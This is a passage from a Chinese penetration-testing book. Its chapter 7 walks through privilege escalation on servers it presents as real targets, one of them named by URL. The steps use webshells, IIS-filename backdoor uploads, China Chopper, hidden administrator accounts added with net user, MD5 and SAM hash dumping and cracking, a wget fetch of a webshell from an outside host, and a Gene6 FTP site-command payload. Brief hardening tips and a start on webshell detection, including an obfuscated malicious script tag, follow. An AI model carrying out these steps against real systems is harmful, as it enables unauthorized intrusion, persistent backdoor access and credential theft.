Magic Winmail Server是一款安全、易用、全功能的邮件服务器软件,不仅支持SMTP、POP3、IMAP、Webmail、LDAP(公共地址簿)、多域、发信认证、反垃圾邮件、邮件过滤、邮件组、公共邮件夹等标准邮件功能,还提供了RBL、SPF、Spam Assassin、邮件签核、邮件杀毒、邮件监控功能,并支持IIS、Apache、网络硬盘及共享、短信提醒、邮件备份、SSL(TLS)安全传输协议、邮件网关、动态域名支持、远程管理、Web管理、独立域管理员、在线注册、二次开发接口等特色功能。它既可以作为互联网邮件服务器、局域网邮件服务器,也可以作为ADSL宽带、FTTB、有线通(CableModem)等接入方式的邮件服务器和邮件网关。

Magic Winmail Server程序安装为系统服务,程序一般是在administrator权限下运行的,而服务程序MailServer.exe是在system权限下运行的,因此,当有WebShell时,就可以通过这个漏洞来提升权限了。Magic Winmail Server提供的Webmail是通过PHP脚本实现管理的,下面就针对该邮件服务器的提权和防范进行探讨。

7.4.1 获取Winmail目录地址

通过WebShell找到Winmail的物理地址“G:/Winmail/server/webmail/www”,如图7-26所示。寻找Winmail有以下两种手段。

图7-26 获取Winmail的网站真实路径

• 如果获取的WebShell是ASP.NET,则可以直接通过查看进程或者服务获取Winmail的物理地址;如果iisspy可以使用,也可以获取Winmail的网站真实路径。
• 针对目标对象进行邮件地址测试,一般提供Winmail的地址多为mail.somesie.com或者webmail.somesite.com。

7.4.2 执行whoami命令

在WebShell中进入“Execute Command”页面,在“Use”下拉列表中选择“phpfunc”选项,在“Command”文本框中输入“whoami”命令查看WebShell是什么权限,如图7-27所示,显示为“nt authority\system”权限。

图7-27 查看WebShell的权限

7.4.3 添加用户到管理员组

既然是系统权限,就可以直接执行添加命令。由于系统是Windows Server 2008,所以,前几次添加用户总是提示不成功,分析发现Windows Server 2008系统用户密码对强度有要求,必须具备一定的复杂度才能添加成功。如图7-28所示,执行“net user SQLdebugger WsP%emp2005! */add”命令成功。后面分别执行“net user SQLdebugger Administrators/add”和“net localgroup administrators”命令,将SQLdebugger用户加入管理员组中,并查看管理员用户组中的用户,执行效果如图7-29和图7-30所示。

图7-28 添加用户到系统中

图7-29 添加用户到管理员组中

图7-30 查看系统管理员组

7.4.4 设置并登录远程终端服务器

依次单击“开始”→“运行”选项,在“运行”文本框中输入“mstsc”命令,打开远程桌面连接窗口。如图7-31所示,在“计算机”设置框中输入目标服务器的IP地址或者域名,在“用户名”文本框中输入“SQLdebugger”,在“密码”文本框中输入刚才添加的密码,选中“保存密码”复选框,下次连接时不用再次输入密码。

图7-31 设置远程终端桌面

当然,也可以将此次配置另存为一个3389文件。最后,单击“连接”按钮进行登录测试,如图7-32所示,成功登录该服务器。

图7-32 进入Windows Server 2008远程桌面

7.4.5 Winmail邮箱用户与口令

Winmail的配置文件保存在“G:/Winmail/server/”目录下,也即Winmail安装目录下的“Server”子目录。userauth.cfg文件为邮箱用户口令配置,邮箱登录用户名为“<name>”和“</name>”之间的字符串。如图7-33所示,本例中的用户为“postmaster”,用户密码为MD5加密字符串“8ed444 40b3e4077a782ff5cc5348e366”。Winmail还有其他加密方式,如果密码之间有“md5”,则表示为MD5加密,否则为相应的加密方式。该密码可以通过cmd5等网站进行查询破解,如图7-34所示,由于该密码位数较长,因此需要付费获取破解结果。

图7-33  Winmail用户配置文件

图7-34 获取Winmail的MD5密码

7.4.6 进入邮箱

使用破解的密码和用户名成功登录,通过验证可知,Winmail PHP版本的邮件用户密码多采用MD5加密。分析其配置文件userauth.cfg,可以获取该邮件服务器的所有用户名和密码。

7.4.7 Winmail服务器防范

Winmail服务器本身相对比较安全,但该软件将PHP脚本环境的权限设置为系统权限就相对危险了,其防范方法如下。

• 降低Winmail的权限。
• 设置Winmail Web目录为只读,这样即使入侵者获取了WebShell,也会因为没有写入权限而无法执行脚本命令。

7.5 Pr提权渗透国外某高速服务器

有些渗透是一种偶然,但偶然的渗透却有着被渗透的必然。本次渗透源于素材收集。通过本次渗透,笔者有如下收获。

• 扫描工具不是万能的。扫描工具的扫描结果具有参考价值,通过扫描出来的信息,借助经验,可以进行进一步的测试。
• hzhost管理系统的渗透方法。通过ASP.NET的WebShell查看进程获取hzhost的物理路径,如果能够访问hzhost的物理路径,则可以下载其管理所用的数据库表site.mdb,在site.mdb数据库中会保存root和sa用户的密码。掌握了MySQL和MSSQL的管理员密码后,可以尝试进行数据库提权,从而获得管理员权限。在hzhost中,有的采用Access数据库,也有的采用MSSQL数据库。

7.5.1 分析AWS扫描结果

如图7-35所示,AWS扫描结束后给出了265个警告信息,虽然出现的高危跨站漏洞较多,但对于普通安全人员来说,利用XSS有一定的难度。对于扫描结果中的源代码暴露、文件路径、Web编辑器、特殊文件名称等,要进行详细的分析和实际测试,通过这些漏洞可能拿到WebShell权限。

图7-35 分析AWS扫描结果

7.5.2 获取直接文件上传地址

通过查看AWS的扫描结果,发现该网站存在直接文件上传地址。在AWS中选中该页面直接进行浏览测试,如图7-36所示,能够正常访问,且未做安全验证测试。

图7-36 获取文件上传网页地址

7.5.3 直接上传网页木马测试

通过测试发现上传页面能够正常访问,则可以按照以下方法来上传网页木马。

• 直接上传网页木马。网页木马可以是大马,也可以是小马,还可以是IIS文件命名漏洞的图片文件。
• 尝试通过文件编辑器漏洞直接上传文件。
• 将文件保存到本地,修改提交地址和代码来上传文件。
• 通过NC抓包提交等方法来上传网页木马。

• 在本例中利用的是第一种方法,通过IIS命令规则漏洞来上传。成功上传一句话后门文件“2. asp;1.jpg”,如图7-37所示,上传成功后还提示了具体的文件上传地址。

图7-37 上传网页木马

7.5.4 创建并操作一句话后门

“中国菜刀”真是一句话后门操作的福音。如图7-38所示,在“地址”文本框中输入一句话后门地址“http://www.kuaijielin.com/sywebeditor/2.asp;1.jpg”,密码为“cmd”,单击“添加”按钮即可将该后门地址添加到“中国菜刀”管理器中。在“中国菜刀”中,单击刚才添加的一句话后门地址,如果连接成功,则可以直接对该网站文件进行操作,如图7-39所示。

图7-38 创建一句话后门

图7-39 管理一句话后门

7.5.5 上传大马进行管理

在“中国菜刀”中将网页大马上传到网站中,如图7-40所示,通过该页面进行文件上传、删除、修改和下载等管理操作。

图7-40 上传网页大马

7.5.6 查看网站服务器文件

通过网页木马查看目标网站所在服务器上的文件,如图7-41所示,获取了该网站所在服务器的管理平台的数据库,将该数据库下载到本地。

图7-41 下载MSSQL数据库

在该文件夹下还存在MySQL数据库。访问“Data”目录,将user.MYD文件下载到本地,该文件保存了MySQL的所有数据库用户名称和密码等信息,如图7-42所示。MySQL的user.MYD文件中的用户密码可以在cmd5网站查询破解。如果破解了root用户的密码,对于Windows系统可以尝试UDF提权。

图7-42 下载MySQL数据库的user.MYD文件

7.5.7 查询目标网站所在服务器下的所有域名

通过网址“http://www.yougetsignal.com/tools/web-sites-on-web-server/”查询该IP地址下的所有域名,如图7-43所示,获得了33个网站域名。

图7-43 获取网站域名

7.5.8 分析site.mdb数据库

由于目标网站使用的管理系统为华众管理系统(HZHOST),所以,需要下载该安装文件下的site.mdb。site.mdb中有site、sqlseting和vhostseting共3个表,其中site表记录的是站点名称、FTP用户名称、FTP密码、站点所在目录等信息,如图7-44所示,在该表中可以直接获取FTP用户名和密码,主机所能支持的语言类型(ASP、PHP和NET2)等信息。sqlseting表中保存的是sa和root用户的密码,如图7-45所示。vhostseting表中保存的是虚拟主机的管理信息。

图7-44 获取网站管理信息

图7-45 获取网站sa和root用户的密码

7.5.9 上传PHP WebShell

通过site.mdb数据库找出支持PHP编程语言的虚拟机主机站点,通过FTP直接连接该站点,输入从site表中获取的网站用户名和相对应的密码,顺利登录该FTP服务器。如图7-46所示,执行“put control.php”命令将本地的control.php网页木马上传到网站。然后,通过IE浏览器访问该WebShell地址,如图7-47所示,上传的WebShell成功运行。

图7-46 通过FTP上传WebShell

图7-47 测试上传的WebShell

7.5.10 Pr提权

将Pr提权工具上传到网站服务器,在“CmdPath”文本框中输入“C:\RECYCLER\pr.exe”,在“Argument”文本框中输入“net user temp temp2005/add”,将temp用户添加到系统中,如图7-48所示。在“Argument”文本框中输入“net user localgroup administrators temp/add”,将temp用户添加到管理员组中。如图7-49所示,Pr命令执行成功后会给出提示信息。执行“net user localgroup administrators”命令查看管理员组的情况。如图7-50所示,temp用户已经成功添加到系统管理员组中。

图7-48 添加temp用户到系统

图7-49 将temp用户添加到管理员组中

图7-50  temp用户已成为管理员

7.5.11 获取远程终端端口

使用NMap对该服务器IP地址的所有TCP端口进行扫描,如图7-51所示,成功获取该服务器的远程终端端口。

图7-51 扫描服务器端口

7.5.12 登录远程终端

通过远程终端客户的程序mstsc.exe直接登录该服务器,输入刚才添加的用户名和密码,顺利登录服务器,如图7-52所示。

图7-52 登录远程终端

7.6 通过JBoss信息泄漏获取WebShell

关于JBoss的渗透有很多方法,本节提到的这个方法是在前人的基础上快速获取WebShell,该方法简单可行。对于Linux的渗透,国外黑客喜欢直接执行命令,而国内黑客喜欢GUI,因此,在获取简单的WebShell,也即仅可以执行命令的WebShell的情况下,如何获取真正可操作的WebShell是一大难点。本节将介绍专门解决该问题的方法。

7.6.1 测试JBoss网页

通过端口扫描获取开放80和8080端口的服务器。如图7-53所示,该服务器采用80端口作为JBoss的Web应用端口。测试JBoss网页的目的是为了查看JBoss服务器是否能够正常运行,以及一些服务是否开启。

图7-53  测试JBoss网页

7.6.2 查看Tomcat的状态

提到查看Tomcat的状态,很多人首先想到的就是通过JMX Console的deployment的addurl函数部署WAR的JSP WebShell。实际上,只要是存在漏洞的互联网服务器,就会有很多黑客入侵,特别是国外的黑客。

通过查看Tomcat的所有状态获取目前JBoss应用的运行情况,如图7-54所示,该服务器至少被两个人入侵过,且服务器还在运行该WebShell,“zecmd/zecmd.jsp”即为网站的WebShell。

图7-54 查看Tomcat的状态

7.6.3 执行命令测试

输入WebShell的完整地址,打开该WebShell页面,在输入框中输入“cat/etc/passwd”查看Linux系统用户的密码,测试结果表明该WebShell的权限是root权限,也即服务器权限,如图7-55所示。

图7-55  测试WebShell

7.6.4 下载JSP WebShell的TXT文件到本地

虽然获取了WebShell,但该WebShell为cmd的WebShell,操作起来非常不方便,因此,需要上传并部署一个好用的WebShell。先向肉机服务器上传一个TXT格式的JSP WebShell,然后使用“wget http://www.somesite.com/Browser.txt”命令将该文件下载到该Linux服务器上,使用“ls-al”命令查看文件是否下载成功。如图7-56所示,Browser.txt已经成功下载到本地。

图7-56 下载WebShell到Linux服务器

7.6.5 寻找可运行路径

在Linux层次结构中,用户可以在被授权的任意目录下利用mkdir命令创建新目录,也可以利用cd命令从一个目录切换到另一个目录。但是,并没有提示符告知用户目前处于哪一个目录中。要想知道当前所处的目录,可以使用pwd(“Print Work Directory”的简写)命令,该命令用于显示整个路径名。在渗透过程中,pwd命令的使用非常频繁。在本例中使用pwd命令获取当前路径位置,如图7-57所示,显示路径为“/opt/jboss-4.0.5.GA/bin”。

图7-57 获取当前执行命令的路径

7.6.6 查看JBoss默认部署路径的文件和目录

通过“ls-al”获取当前路径下的文件和目录名称,完整命令为“ls-al/opt/jboss-4.0.5.GA/”,通过在绝对路径中添加新的路径获取JBoss部署的路径,如“/opt/jboss-4.0.5.GA/server/default/deploy/”,如图7-58所示,分别显示了文件和目录,目录是以“d”开头的。

图7-58 查看JBoss默认部署路径的文件和目录

7.6.7 查看管理后台部署文件

部署路径下的目录有两种:一种是filename .war;另一种是系统自带的目录,如“management”目录就是管理默认目录,如图7-59所示,该目录下已经被部署了好几个Shell。

图7-59 查看管理后台部署文件

7.6.8 复制JSP WebShell到指定目录

将下载的JSP WebShell复制到该目录下即可获取WebShell。执行“cp Browser.txt/opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war/2.jsp”命令,如图7-60所示。然后,执行“ls-al/opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war”命令,查看文件是否复制成功,结果如图7-61所示,表示文件已经成功复制。

图7-60 复制JSP WebShell到指定目录

图7-61 查看复制文件是否成功

7.6.9 成功获取WebShell

在浏览器地址栏中输入“http://xxx.xxx.xxx.xxx:8080/zmeu/2.jsp”进行访问,如图7-62所示,成功获取JSP WebShell。前面的WebShell是一个执行命令的WebShell,其功能相对简单,要将功能复杂的WebShell上传上去才能执行更多操作。

图7-62 成功获取JSP WebShell

7.6.10 管理与维护

   

图7-63 查看已经被部署的Web应用   

对管理人员来说,可以通过查看Tomcat的状态获取Web应用的情况。

如图7-63所示,从Tomcat Status中查看Application list即可。从该列表中可以看到,至少部署了6个WebShell。发现这些WebShell后,访问JBoss部署文件夹,将相应的WAR和文件删除即可。

7.7 远程控制软件Radmin提权研究

在网络安全技术比较成熟的今天,一些配置上的疏忽或者管理上的不到位将会导致巨大的安全风险。在笔者的眼中,远程控制软件除了利用溢出等漏洞外,利用口令等方式提升权限无疑是一种上佳选择。只要获取了口令信息,配合一些工具软件,就可以进行“正常”登录,行使管理员权限。Serv-U、pcAnywhere、VNC中都曾存在这种问题,远程控制软件的Radmin也不例外。

很久以前笔者就了解到,在Radmin 2.x中可以通过Hash值进行登录,无须知道其确切的密码。按照网上的说法,需要反汇编工具软件的配合,但由于其操作较为烦琐,且成功率较低,后面有人将整个过程进行优化,将Radmin客户端程序进行了修改,提供了Radmin-Hash登录版本,因此有了本节内容。

在Radmin 2.x中,其密码是经过加密的32位MD5 Hash值,保存在注册表中Radmin键值下的Parameter中。例如,“"Parameter"=hex:f4,7b,bc,b1,77,44,6e,73,dd,c2,c3,a7,4c,94,15,fd”、“f47bbcb17744 6e73ddc2c3a74c9415fd”就是Radmin 2.x的MD5 Hash值。如果知道安装Radmin服务端计算机的IP地址、端口及密码,且没有做IP地址限制,那么只要能够访问该计算机,就可以对该计算机实施完全控制。由于Radmin功能强大,因此深受广大网管人员的喜爱。

本节将就Radmin的安全隐患进行探讨。Radmin远程控制软件本身没有太多缺陷,但是由于管理人员的疏忽、系统存在其他配置或者程序存在漏洞,因此获取其Radmin的32位Hash值后极有可能造成极大的安全隐患。隐患之一就是使用Radmin-Hash客户端进行登录——只要获取了Radmin的Hash值,就可以成功登录该主机。下面以一个实际案例进行探讨。

7.7.1 获取远程计算机的MD5 Hash值

通常情况下,通过WebShell或者远程挂马等方式可以获取远程计算机的MD5 Hash值。Radmin中的密码值是保存在注册表中的,因此,可以通过WebShell等方式获取被控计算机上的Radmin的密码值。一般来说,获取服务器上的Hash值比较困难,目前很多服务器在安全设置上都处理得不错,对外开放的端口较少,因此只能通过SQL注入或者跨站攻击来获取。

7.7.2 使用Radmin-Hash版本进行登录

Radmin-Hash版本的客户端只要输入Radmin客户端的Hash值即可进行登录。在Radmin-Hash客户端中新建服务端,如图7-64所示,建立成功后使用“工具选项”菜单中的“扫描存活主机”选项对该主机进行连接测试,如果该主机可以连接,则会在标识中以黄色的对勾显示。

图7-64 建立Radmin连接

7.7.3 进行登录验证尝试

选择“221.12.*.*”标识,双击进行连接,Radmin-Hash版本的客户端会弹出要求输入密码的对话框,如图7-65所示,输入该服务端对应的32位的Hash值,然后单击“确定”按钮进行登录尝试。根据网络连接情况,数秒后,如果Hash值正确,则可以顺利进入Radmin的相应管理界面。如图7-66所示,进入Radmin服务端的Telnet管理界面,在该界面中可以执行各种命令。

图7-65 输入Radmin的32位Hash值

图7-66 成功进入Telnet管理

技巧
WebShell获取的权限很低,除了网站目录外,基本上做不了其他事情,甚至无法执行DOS命令,而通过Radmin的Telnet管理端则几乎可以执行任何命令。

7.7.4 查看远程屏幕和传输文件

在Radmin客户端中选择屏幕监控,然后双击其标识,再次输入32位Hash值,即可查看其远程主机的屏幕。如图7-67所示,可以知道该主机开放了远程终端桌面。接着,使用Radmin的文件传输功能,将getpw.exe文件上传到该主机上,当然也可以传输其他文件。

图7-67 查看远程屏幕

7.7.5 获取密码或者进行内网渗透

在Telnet中进入getpw.exe文件所在目录,执行“getpw $local”命令获取该主机所有账号的sam值,如图7-68所示。然后,在Telnet管理端中依次选择“菜单”→“保存为”命令,将执行命令的结果保存为一个本地文件。

图7-68 获取主机sam值

7.7.6 破解密码

将包含sam值的文件进行整理,将包含账号的sam值另存为一个sam文件,运行LC5,并将sam值导入其中进行破解,如图7-69所示,破解成功后管理员账号Administrator的密码为“rous* * *”。

图7-69 破解管理员账号

7.7.7 登录远程桌面

在本地打开远程桌面连接器,输入远端IP地址进行登录测试,出现远程连接桌面后,输入破解后的密码,成功进入远程管理桌面,如图7-70所示。

图7-70 进入远程管理桌面

7.7.8 防范对策

既然有些风险无法完全排除,那么可以采取一些补救措施来降低风险。通过分析研究,笔者认为可以采取以下一些措施防范Radmin-Hash提升权限。

• 在Radmin服务端中进行授权设置。在Radmin中可以对登录用户进行授权,对不同的IP地址或者用户设置不同的权限,如上传文件、读取文件、写入文件、执行命令等。
• 使用IP限制。如果登录用户的IP地址是固定的,则可以在IP地址限制中进行设置,如仅允许客户的IP地址进行登录,这样,只有使用客户网段才能登录。
• 使用Radmin中的日志记录。Radmin中默认未启用日志记录,可以在DOS提示符下输入“R_server/setup”命令打开设置窗口,如图7-71所示,在“Logging”设置区中分别勾选“Use Event Log”及“Use logfile”复选框,并设置日志文件名称及路径,然后单击“OK”按钮完成设置。

图7-71 在Radmin中启用日志记录

• 在发生入侵后或者不定期修改Radmin及管理员的账号和密码。没有绝对的安全,只有绝对的不安全。如果主机24小时提供服务,则应该定期修改远程管理软件及用户账号等密码,并定期安装系统补丁,进行安全检查。

7.8 Gene6 FTP Server本地提权

在实际渗透测试过程中,笔者碰到一个目标服务器上安装了Gene6 FTP Server,且获取了该服务器上某个网站的WebShell的情况。获取WebShell后,一般都会尝试提权,因此有了本节内容。笔者通过研究,发现网上提及的方法与实际可用方法相差较大,也应了“纸上得来终觉浅,绝知此事要躬行”这句话。

Gene6 FTP Server是一个基于Windows操作系统开发的安全、高效的高级FTP服务器软件,它不仅可靠,而且具有很强的可控性,支持远程管理、128位SSL加密的数据连接,使用非常方便。Gene6 FTP Server优良的性能及平易近人的价格使它不仅能应付高负载下的文件传输服务器,对于追求高可靠性、强定制性和易管理性的企业服务器也是很好的选择。其最新版本为Gene6 FTP Server 3.10.0.15,官方网站地址为http://www.g6ftpserver.com/。

Gene6 FTP Server是一款非常流行的Windows平台的FTP Server,默认安装后,本地的非特权用户可以修改Gene6 FTP Server的设置,如添加新的site命令。由于Gene6 FTP Server是以system权限运行的,因此攻击者可以轻易地提升权限。详细漏洞情况请参阅securityfocus网站公告(http://www.securityfocus.com/bid/12739/info)BUGTRAQ ID: 12739,受影响版本如下。

• Gene6 G6 FTP Server 3.4
• Gene6 G6 FTP Server 3.3.1
• Gene6 G6 FTP Server 3.3
• Gene6 G6 FTP Server 3.2
• Gene6 G6 FTP Server 3.1

• Gene6 G6 FTP Server 3.0.2
• Gene6 G6 FTP Server 3.0.1
• Gene6 G6 FTP Server 3.0
• Gene6 G6 FTP Server 2.0

7.8.1 通过互联网获取漏洞的利用信息

笔者获取了一个对该漏洞的利用方法(http://www.51cto.com/art/200508/5263.htm),具体如下。

01 以非特权用户的身份登录。

02 打开Gene6 FTP Server控制台,添加FTP用户账号,如“test”。

03 对FTP服务器添加新的site命令。如果要实现这个操作,必须将可执行文件映射到新建的site命令(详见以下04和05)。

04 编写一个名为ABC.bat的BAT文件,示例如下。



     ---cut here -------------------------

     net user abc /add

     net localgroup administrators abc /add

     ---cut here  -------------------------

05 将ABC.bat映射到新建的site命令,如ABC。

06 获取system权限。以test用户的身份登录FTP服务器,然后执行以下命令。



     ftp>quote site abc

这样,就以system权限执行了ABC.bat。当然,还可以映射任何其他可执行文件。

通过分析,感觉在实际利用过程中该方法非常不方便,可用性较差。通过查阅资料,搭建实际环境测试,获取了另外一种利用方法。

7.8.2 修改user配置参数获取本地服务器权限

01 搭建FTP Server服务器

在本地安装Gene6 G6 FTP Server 3.4,安装完成后设置一个域,并建立一个普通账号“test”,密码为“test”,如图7-72所示。在实际渗透测试过程中,可以通过WebShell读取“c:\Gene6 FTP Server\ Accounts\test\users\”user账号下的*.ini文件,如本例中的test.ini文件。

图7-72 搭建Gene6 G6 FTP Server测试环境

02 修改配置参数

找到test.ini文件,如图7-73所示,在其中加入如下语句。

图7-73 修改用户参数文件



     SiteCommandList0=-1,hack,C:\RECYCLER\1.bat,0,60,0,0,hack

• “C:\RECYCLER\1.bat”为需要执行的批处理,可以根据实际需要,将“1.bat”文件换成远控木马。
• “hack”为识别码,即在FTP登录成功后,执行“quote site hack”命令。修改后的test.ini文件要能保存,也即FTP用户必须具备读写权限。一般情况下,管理员都会给FTP用户FTP权限。
• “SiteCommandList”是配置文件指令,支持在site命令后面添加“0”、“1”、“2”、“3”以区别不同的命令。如果INI文件中已经有“SiteCommandList0”指令了,那么我们再添加时就需要修改为“SiteCommandList1”了。
• “-1”表示一些选项,如“是”、“否”,不需要关心。
• cmd是命令,执行时输入“site cmd”即可。
• “net user xx/add”是我们要执行的命令。因为Gene6运行在system用户权限下,所以它具有系统的完全控制权限,可以执行很多高级命令以完成系统操作。
• “0”表示是否将输出指向客户端。
• “60”指超时60秒。

03 添加执行批处理文件或者木马程序

如图7-74所示,到“C:\RECYCLER”目录下新建一个批处理文件“1.bat”,其内容为添加一个管理员用户。“1.bat”也可以是“1.exe”,只要是能运行的程序即可,可以是WCE等。

图7-74 添加批处理执行文件

04 登录FTP并执行命令

使用命令“ftp服务器IP地址”进行登录测试,在本例中,执行“ftp 192.168.121.186”。在登录提示出现后,输入用户名“test”和密码“test”后,再执行“quote site hack”命令,即可在服务器上添加一个管理员用户hack,使用命令“net localgroup administrators”查看该服务器上所有管理员,如图7-75和图7-76所示,成功获得服务器管理员权限。

图7-75 登录FTP并执行命令

图7-76 成功添加管理员用户hack

05  FTP密码为MD5加密

打开test.ini文件,在其中可以看到其密码采用MD5加密,如图7-77所示,将加密值复制到cmd5网站可以直接进行破解。

图7-77  FTP用户密码为MD5加密

06 FTP管理员提权

对于FTP管理员提权,实际利用没有测试过,其思路主要就是通过破解其管理员密码,然后通过LCX进行本地端口转向,并进行连接。对于FTP端口不是21端口的情况,命令为“open 127.0.0.1 8021”,这个命令需要在FTP提示符下执行,也即先运行FTP命令。

7.8.3 漏洞修复和加固方法

建议升级当前Gene6 FTP Server到最新版本Gene6 FTP Server 3.10.0.15,或者对程序进行降权处理,对user.ini文件进行严格的权限处理,即仅允许读取,不允许修改配置文件。

第8章 Windows及Linux安全防范

在网络攻防的整个过程中,安全防范非常重要:攻击方需要隐藏自己的IP地址,消除痕迹,防止被发现;而防守方则关注如何加固,使自己的系统更加安全,“牢不可破”是终极目标。在武侠小说中经常提及一个理念——最好的防御就是攻击。通过攻击自身系统发现漏洞,对漏洞进行分析、修补和加固,也就有了经常听到的安全公司进行某项目的安全评估。Windows及Linux的安全防范有很多方面,本章就一些常见的漏洞和弱点进行分析,抛砖引玉。真正的安全防范是一个持续改进和完善的过程,需要我们随时关注最新的0day及安全漏洞。

本章主要通过一些实际案例讨论如何防范Windows及Linux在安全方面存在的问题,这些问题具有一定的代表性,掌握这些方法可以触类旁通。

本章主要内容

 网站挂马的检测与清除

 巧用MBSA检查和加固个人计算机

 使用“冰刀”进行安全检查

 手工清除病毒

 计算机网络入侵安全检查分析研究

 电子邮件社会工程学攻击防范研究

 SQL注入攻击技术及其防范研究

 操作系统密码安全设置

 使用chkrootkit和rkhunter检查Linux后门

 Windows下PHP+MySQL+IIS安全配置

 Windows下PHP+MySQL+IIS安全平台高级配置

8.1 网站挂马的检测与清除

据不完全统计,90%的网站都被挂过马。挂马是指在获取网站或者网站服务器的部分或者全部权限后,在网页文件中插入一段恶意代码,这些恶意代码主要是包括IE等漏洞在内的利用代码,用户访问被挂马的页面时,如果系统没有更新恶意代码中利用的漏洞补丁,则会执行恶意代码程序,进行盗号等危险操作。

目前,挂马主要是为了获取商业利益,有的是为了赚取流量,有的是为了盗取游戏账号的,也有的是为了好玩。不管出于哪种目的,对于访问被挂马的网站来说都是一种潜在的威胁,甚至会影响网站所代表的公司的形象。

当一个网站运营很长时间后,网站文件会非常多,手工查看网页文件代码非常困难,杀毒软件仅能对恶意代码进行查杀,对网页木马及挂马程序不一定能全部查杀。本节就如何利用安全检测工具软件来检测和清除网站木马进行探讨,使用本节介绍的工具可以轻松地检测网站是否被挂马。

8.1.1 检测网页木马程序

01 安装URL Snooper

URL Snooper是一款URL嗅探工具,其官方主页为http://www.donationcoder.com/urlsnooper,安装步骤非常简单,按照提示进行安装即可。第一次使用时程序会自动检测网卡,以确定能否正常连接网络,设置无误后,应该出现如图8-1所示的界面。

图8-1 正确安装后的界面

注意
如果未出现如图8-1所示的界面,说明程序设置存在问题。笔者在测试时发现该程序无法检测无线网卡,因此无法在无线网络中使用。

02 对网站进行侦测

在URL Snooper的“Protocol Filter”下拉列表中选择“Show All”选项,单击“Sniff Network”按钮,开始监听网络。接着,使用IE浏览器打开需要进行木马检测的网站,URL Snooper会自动抓取网站中的所有链接,在“Index”列中按照5位数字序号进行排列,如图8-2所示。

图8-2 监听结果

说明
在侦测结果中可能包含非常多的链接,这个时候就需要进行排查。选中一条记录,URL Snooper会显示详细的监听结果。

发现存在挂马代码“<script src=http://%61 %76%65%31%2E%63%6E></script>”。在百度中对其进行搜索,如图8-3所示,有30多条搜索结果,可以辅佐证明该段代码为挂马代码。

图8-3 搜索结果

说明
要善于运用搜索引擎。通过搜索可以知道目前关于该问题的描述和解决方法等。

03 对地址进行解码

该地址采用了一种编码方式。笔者对常用的这种编码值进行了整理,如表8-1所示,从中可以找出该代码的真实地址为http://ave1.cn。

表8-1 编码对应表

04 获取该网站相关内容

可以使用FlashGet站点资源管理器获取该网站的内容。如图8-4所示,打开FlashGet,依次单击“工具”→“站点资源探索器”选项,打开站点资源探索器,在“地址”文本框中输入“http://ave1.cn”,然后按“回车”键,即可获取该网站的一些资源。在FlashGet站点资源探索器中可以直接将看到的文件下载到本地查看。

图8-4 使用FlashGet站点资源探索器获取站点资源

说明
使用FlashGet站点资源探索器可以很方便地获取挂马代码地址中的一些资源,这些资源可能是挂马的真实代码,通过这些代码可以知道挂马者采用的是哪个漏洞,有时还可以获取0day漏洞。
在本例中,由于挂马时间较长,挂马者已经撤销了原来的挂马程序文件,在该网站中获取的HTML文件没有用处,且有些文件已经不存在了,无法对源代码文件进行分析。

05 使用“D盾_Web查杀”工具进行查杀

“D盾_Web查杀工具v1.4.1”是免费软件,运行平台为Windows。该软件为绿色软件,不需要安装,运行后设置扫描位置,单击“扫描”按钮即可,扫描效果如图8-5所示。该软件对目前绝大多数的后门均能查杀,是Windows下一款难得的WebShell检测工具。通过该工具找到后门文件后,可以对后门文件采取清除或者删除等操作。

图8-5 使用D盾Web查杀工具查杀WebShell

8.1.2 清除网站中的恶意代码(挂马代码)

01 确定挂马文件

要想清除网站恶意代码,首先需要知道哪些文件被挂马了,判断方法有3个:一是直接查看代码,从中找出挂马代码;二是通过查看网站目录修改时间,通过时间进行判断;三是使用本节提到的软件进行直接定位,通过监听找出恶意代码。

在本案例中,网站首页确认被挂马了,通过查看时间可以知道挂马时间是8月25日左右,因此可以使用资源管理器的搜索功能初步定位时间为8月24日至26日,搜索在这个时间范围内修改或者产生的文件,如图8-6和图8-7所示。

图8-6 搜索被修改的文件

图8-7 搜索结果

02 清除恶意代码

使用“记事本”程序打开代码文件,从中清除恶意代码。清除代码时一定要注意,不要使用网页编辑器中可能直接访问挂马网站的功能,以免感染木马程序。建议使用“记事本”等文本编辑器。在清除恶意代码的过程中,发现挂马者竟然对JS文件也不放过,如图8-8所示。

图8-8 对JS文件进行挂马

8.2 巧用MBSA检查和加固个人计算机

微软基线安全分析器(Microsoft Baseline Security Analyzer,MBSA)是一个简单易用的工具,它可以帮助中小型企业根据微软的安全性建议确定其安全状态,并根据结果提供具体的修正指南。MBSA用于检测常见的安全性错误配置和计算机系统遗漏的安全性更新,改善安全性管理流程,构建于Windows Update代理和Microsoft Update基础结构之上,因此可确保与其他微软管理产品一致,这些产品包括Microsoft Update(MU)、Windows Server Update Services(WSUS)、Systems Management Server(SMS)、System Center Configuration Manager(SCCM)2007及Small Business Server(SBS)。MBSA为众多领先的第三方安全供应商和安全审核员使用,平均每周扫描300多万台计算机。目前微软已经停止对2.01版本以下的MBSA进行更新,有关MBSA2.2的更多信息,感兴趣的朋友可以访问http://technet.microsoft.com/zh-cn/security/cc184923 .aspx了解。

使用MBSA有以下4个方面的好处。

• 可以通过扫描系统评估系统的安全性。用微软的安全工具检测微软产品的安全性,融合性应该是最好的。
• 绕过微软补丁下载中相关的验证问题。MBSA扫描结束后会直接给出补丁的下载地址。
• 纠正系统中运行的IIS等应用在安全管理等方面的错误或者漏洞。MBSA的扫描结果中会给出纠正的详细措施,可以很容易地进行纠正,使系统更加安全。
• 可以对Windows 2000/NT操作系统进行补丁更新。目前很少能找到有关Windows 2000/NT操作系统补丁的直接下载地址了。

总之,使用MBSA比使用第三方漏洞检测工具更安全、更方便、更高效。下面就如何具体应用MBSA检测和加固个人计算机系统进行介绍。

8.2.1 实验准备和环境

01 下载MBSA

MBSA目前的最新版本是2.3,分为x64和x86两个版本,提供德语、日语、英语和法语共4种语言。下载时一定要注意,对于x86版本的系统,下载MBSASetup-x86-EN.msi即可。

02 安装MBSA

MBSA的安装很简单,和正常软件的安装一样,按照提示进行操作即可。

03 实验环境

本次实验环境为64位Windows 7操作系统,安装了一些普通的应用工具,并做过一些简单的加固,使用第三方工具360等修补了系统中的安全漏洞。

8.2.2 使用MBSA检测和加固系统

01 运行MBSA

依次单击“开始”→“程序”→“Microsoft Baseline Security Analyzer 2.3”选项,打开Microsoft Baseline Security Analyzer 2.3程序主界面,如图8-9所示。

图8-9  Microsoft Baseline Security Analyzer 2.3主界面

说明
在MBSA主程序中有如下3大主要功能。
